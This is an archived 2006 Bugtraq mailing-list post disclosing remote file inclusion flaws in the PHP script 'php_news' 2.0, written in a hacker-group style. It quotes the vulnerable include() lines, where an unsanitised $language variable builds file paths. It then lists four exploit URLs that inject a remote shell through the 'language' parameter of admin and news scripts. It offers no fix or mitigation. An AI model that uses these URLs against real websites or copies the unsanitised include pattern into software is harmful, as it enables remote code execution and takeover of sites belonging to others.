bugtraq - php_news => 2.0 Remote File Include Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060925201442.19772.qmail@securityfocus.com>
Date: 25 Sep 2006 20:14:42 -0000
From: h4ck3riran@...oo.com
To: bugtraq@...urityfocus.com
Subject: php_news => 2.0 Remote File Include Vulnerabilities

# php_news => 2.0 Remote File Include Vulnerabilities


# Script.............. :php_news
# Discovered By.... : Root3r_H3ll	
# Location .......... : Iran
# Class..............  : Remote
# Original Advisory : http://Www.PersainFox.com
# We ArE : Root3r_H3LL & Arash.Rj
# <Spical TNX Irania Hackers :
  ( Aria-Security , Crouz , DeltaHacking , Iranhackers
Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev )
 
# </\/\\/_ 10\/3 15 1|)\4/\/
          |)\0073|)\_|-|311

# CodEs :

include_once("admin/language/".$language."_news.php")
include("language/".$language."_catagory.php")
include_once("language/".$language."_news.php");
include("language/".$language."_users.php")

# ExPloits :

Www.Site.coM/[path]/admin/user_user.php?language=Sh3ll
Www.Site.coM/[path]/admin/news.php?language=Sh3ll
Www.Site.coM/[path]/admin/catagory.php?language=Sh3ll
Www.Site.coM/[path]/creat_news_all.php?language=Sh3ll